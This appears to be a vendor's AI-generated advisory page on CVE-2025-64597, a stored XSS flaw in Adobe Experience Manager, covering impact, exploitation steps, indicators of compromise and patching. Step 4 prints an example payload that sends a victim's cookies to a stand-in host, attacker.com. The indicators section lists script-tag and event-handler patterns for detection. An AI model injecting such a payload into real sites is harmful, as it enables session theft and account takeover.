CVE-2025-64597
Adobe Experience Manager vulnerability analysis and mitigation

Overview

CVE-2025-64597 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, as part of Adobe's APSB25-115 security advisory. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged authenticated attacker can inject malicious JavaScript into vulnerable form fields within AEM, which is then persistently stored and executed in the browser of any victim who visits the page containing the affected field (stored XSS). Exploitation requires user interaction (a victim browsing to the compromised page) and low privileges, with the scope marked as Changed, indicating impact can extend beyond the vulnerable component. Attack patterns associated with this vulnerability include DOM-Based XSS (CAPEC-588), Reflected XSS (CAPEC-591), and Stored XSS (CAPEC-592) (Adobe Advisory, Feedly).

Impact

Successful exploitation results in limited confidentiality and integrity impacts — specifically, malicious JavaScript executing in a victim's browser session within the context of the AEM application. This can lead to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, or redirection to malicious sites. While availability is not directly impacted, the Changed scope means the attack can affect resources beyond the vulnerable component itself, such as other users' sessions or data accessible through the AEM interface (Adobe Advisory).

Exploitation steps

  1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using network scanning or public asset discovery tools.
  2. Obtain low-privileged access: Authenticate to the AEM instance with any valid low-privileged user account (e.g., a content author account).
  3. Identify vulnerable form fields: Navigate to AEM pages or components that accept user-supplied input and store it for display to other users (e.g., content authoring forms, comment fields, or metadata fields).
  4. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
  5. Victim triggers execution: When a victim (e.g., an administrator or another user) browses to the page containing the injected content, the malicious script executes in their browser, potentially stealing session cookies, performing actions on their behalf, or redirecting them to attacker-controlled infrastructure (Adobe Advisory).

Indicators of compromise

  • Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /crx/, /editor.html) containing encoded script tags or JavaScript event handlers (<script>, onerror=, onload=, javascript:) from low-privileged user accounts.
  • File System / Repository: Unexpected JavaScript payloads stored in AEM JCR repository nodes, particularly in text or metadata properties of content pages.
  • Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages; unusual DNS lookups originating from AEM user sessions.
  • Logs: Browser-side console errors or network requests to attacker-controlled domains logged in web proxy or SIEM solutions following user visits to specific AEM pages.

Mitigation and workarounds

Adobe has released patches addressing CVE-2025-64597 in AEM 6.5.24.0 (on-premises) and AEM Cloud Service 2025.12.0. Organizations should upgrade to these versions immediately. No specific configuration-based workaround has been published; upgrading to the patched release is the recommended remediation. Additionally, organizations should review AEM content authoring permissions to ensure only trusted users have write access to form fields that render content to other users (Adobe Advisory).

Community reactions

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products, including this CVE, warning that they could allow arbitrary code execution and recommending prompt patching (CIS Advisory). No significant independent researcher commentary or social media discussion specific to CVE-2025-64597 has been identified beyond standard vulnerability database coverage.

Additional resources


SourceThis report was generated using AI

Related Adobe Experience Manager vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-48359CRITICAL9.6
  • Adobe Experience Manager logoAdobe Experience Manager
  • cpe:2.3:a:adobe:experience_manager
NoYesJul 14, 2026
CVE-2026-48310HIGH8.6
  • Adobe Experience Manager logoAdobe Experience Manager
  • cpe:2.3:a:adobe:experience_manager
NoYesJul 14, 2026
CVE-2026-48355MEDIUM5.4
  • Adobe Experience Manager logoAdobe Experience Manager
  • cpe:2.3:a:adobe:experience_manager
NoYesJul 14, 2026
CVE-2026-48263MEDIUM5.4
  • Adobe Experience Manager logoAdobe Experience Manager
  • cpe:2.3:a:adobe:experience_manager
NoYesJul 14, 2026
CVE-2026-48262MEDIUM5.4
  • Adobe Experience Manager logoAdobe Experience Manager
  • cpe:2.3:a:adobe:experience_manager
NoYesJul 14, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management